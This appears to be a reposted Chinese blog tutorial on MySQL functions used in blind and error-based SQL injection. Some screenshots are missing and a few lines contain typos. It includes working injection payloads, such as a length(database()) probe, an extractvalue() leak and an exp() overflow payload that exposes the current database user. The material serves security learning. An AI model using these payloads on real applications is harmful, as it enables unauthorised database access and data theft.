SQL盲注中函数的用法

sql盲注

函数length()

计算数据库长度

id=1' and lengh(database())=8;

函数left(a,b)

sql的left()函数表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
一般用来猜测库的名字
库名为security
在这里插入图片描述
这说明第一个字符为s

函数substr()

substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
sql用例:
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
在这里插入图片描述
假如查询长度为2
在这里插入图片描述

函数mid()

mid(striing,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本
以下为省略了lenghlengh

函数ascii()

返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255;
在这里插入图片描述

ord函数

ORD() 函数返回字符串第一个字符的 ASCII 值。
在这里插入图片描述

函数updatexml()

updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
在当前数据库中演示在这里插入图片描述

函数extractvalue()

extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
在数据库中报错在这里插入图片描述
0x7c是分隔符号 |
有一点需要注意,extractvalue()和updatexml能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
代码为

extractvalue(0x7c,concat(1,substring(hex((select database())),1,5)))

函数exp()

exp是以e为底的指数函数

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+

由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

构造playload

mysql> select exp(~(select*from(select user())x));
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

猜你喜欢

转载自blog.csdn.net/qq_41306131/article/details/84799049